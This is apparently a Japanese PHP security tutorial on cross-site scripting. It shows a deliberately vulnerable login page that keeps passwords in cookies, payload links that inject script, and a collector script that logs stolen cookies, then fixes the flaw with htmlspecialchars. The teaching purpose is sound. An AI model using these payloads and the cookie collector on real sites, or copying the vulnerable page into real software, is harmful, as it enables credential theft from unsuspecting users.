2B.4 XSS(クロスサイトスクリプティング)について
XSS とは、ユーザの入力をチェックせずにそのままブラウザに表示してしまう(脆弱な)プログラムを利用し、 悪意あるスクリプトを実行する事です。XSSによる攻撃では、Cookieデータの盗聴やページの改竄などが可能です。 特に、通販などの商取引に使用するCookieを盗聴して、深刻な損害を与える可能性があります。 PHPでプログラミングを行う場合、XSSに関する基本的な理解を十分に持って脆弱性の無いプログラムを作る事が大切です。
脆弱なプログラム( login.php )
以下にCookieを盗聴するXSSの実例を紹介します。

ログイン画面での入力操作を省略する為に、アカウントとパスワードをCookieに保存するプログラムがあったとします。 このプログラムでは前回ログインしたアカウントとパスワードをCookieから読み出し、ログイン画面の初期表示として使っています。
login.php
<?php
if ($_GET['check']){
$id = $_GET['id'];
$passwd = $_GET['passwd'];
// パスワードチェック
if (($id=="guest")&&($passwd=="1234")){
setcookie ("id", $id, time()+14*24*60*60);
setcookie ("passwd", $passwd ,time()+14*24*60*60);
$msg = "ログインに成功しました";
}else{
$msg = "ログインに失敗しました";
}
}else{
$id = $_COOKIE['id'];
$passwd = $_COOKIE['passwd'];
$msg = "ログインして下さい";
}
?>
<html>
<body>
<h1>ログイン画面</h1>
<form>
ID <input type="text" name="id" value="<?= $id ?>">
PASS <input type="text" name="passwd" value="<?= $passwd ?>">
<input type="hidden" name="check" value="1">
<input type="submit">
</form>
<?= $msg ?>
</body>
</html>
このプログラムの脆弱性は、ユーザが入力したデータに対して何のチェックもせずにブラウザに表示している点にあります。
この脆弱性を突いて、攻撃者は実行可能な JavaScript を送り込みます。
※ この例ではフォームデータの送信にGETを使用していますが、POSTを使用しても脆弱性は変わりません(同じ攻撃ができます)。
XSSによるCookieの盗聴

悪意をもった攻撃者は、脆弱サイトのユーザに誘いを掛けます。誘いには電子メールが使用される場合もあります。 攻撃サイトは、脆弱サイトの関連サイトを偽装し、巧妙な手口で仕掛けた罠( trap.php )へと誘導します。
攻撃者は、XSSを使った罠( trap.php )を利用して、ユーザ自身がクッキーを攻撃者のサイトに通知するような JavaScript の実行を試みます。 この仕掛けを理解するには以下の簡単な例( xss.php )を見て下さい。
xss.php
<?php
$s = urlencode("\"/><script>alert(document.cookie)</script><!--");
?>
<html>
<body>
<a href= "login.php?check=1&id=<?= $s ?>">Click!</a>
</body>
</html>
このプログラムは login.php へリンクを張っているだけですが、クエリ文字列の中にHTMLタグとJavaScriptが埋め込まれています。 実際のリンク部分は以下のようになります。
<a href= "login.php?check=1&id=%22%2F%3E%3Cscript%3Ealert%28document.cookie %29%3C%2Fscript%3E%3C%21--">Click!</a>
このリンク( Click! )をクリックするとlogin.phpが呼び出され、 ユーザのブラウザは以下のHTMLコードに遭遇します。
ID <input type="text" name="id" value=""/><script>alert(document.cookie)</script><!--">
ユーザが入力したIDの中に JavaScript が埋め込まれています。 このJavaScriptはCookieに保存されているアカウントとパスワードをダイアログ表示するだけですが、 少し変えるだけでlocationプロパティを使って他のサイトにアカウントとパスワードを送信する事も可能です。 通常、Cookieとして保存されたデータはユーザのブラウザからしか読み取る事ができません。 しかし、XSSを使うとユーザ自身にCookieデータを読み取らせ、そのデータを別のサイトに送信する事ができるのです。
以下は、Cookieを盗聴する為のXSS(trap.php)の例です。
trap.php
<?php
$s = urlencode("\"/><script>location='cookie.php?x='+document.cookie</script><!--");
?>
<html>
<body>
<a href= "login.php?check=1&id=<?= $s ?>">Click!</a>
</body>
</html>
trap.phpが作ったリンク( Click! )をクリックすると、ユーザのブラウザは以下のHTMLコードに遭遇します。
ID <input type="text" name="id" value=""/> <script>location='cookie.php?x='+document.cookie</script><!--">
XSSによって埋め込まれた JavaScript は、直ぐに実行され、ブラウザは以下のURLにアクセスします。
http://localhost/cookie.php?x=id=guest;%20passwd=1234
この例ではcookie.phpがlocalhostに存在していますが、実際のcookie.php は攻撃者のサイトに存在します。 Cookieデータの送信先(cookie.php)では、されに巧妙な罠が待っています。
cookie.php<?php
$x = $_GET['x'];
if (isset($x)&&preg_match("/id=(.*?);\s*passwd=(.*?);/",$x,$regs)){
$handle = fopen ("cookie.txt", "at");
@fwrite($handle, date("Y/m/d H:i:s\t"));
@fwrite($handle, "{$regs[0]}\t{$_SERVER['HTTP_USER_AGENT']}\n");
fclose($handle);
}
header("Location: login.php");
?>
送信されてきたCookieデータはファイル( cookie.txt )に保存されます。 そして、何事も無かったかのように本来のlogin.phpにリダイレクトされます。 従って、罠(trap.php)をクリックしてしまったユーザーはXSSにより背後で行われていた事を知る由もありません。
これまでの説明で分かるように、XSSが利用されると、ユーザは知らないうちに自分自身の手で大切なCookieデータを悪意の攻撃者に手渡す事になります。
XSS対策
XSS対策の基本は、プログラム側で適切な入力チェックを行う事です。 先のlogin.phpの場合、アカウントとパスワートは通常、英数字と幾つかの記号( - や _ など ) に限定されているはずです。このチェックを怠るとXSSに利用されます。
一般的な対策としてはHTMLの特殊文字( < > & ' " )を無害化( サニタイジング )する事が考えれてます。 login.phpの場合は、以下のような無害化の方法が考えれます。
ID <input type="text" name="id" value="<?= htmlspecialchars($id,ENT_QUOTES) ?>"> PASS <input type="text" name="passwd" value="<?= htmlspecialchars($passwd,ENT_QUOTES) ?>">
login.phpを上のように無害化すると、trap.phpによるXSSは失敗します。 テキスボックスの中の文字列は htmlspecialchars() 関数によりエスケープされ以下のように変換されるからです。
"/><script>location='cookie.php ?x='+document.cookie</script><!--
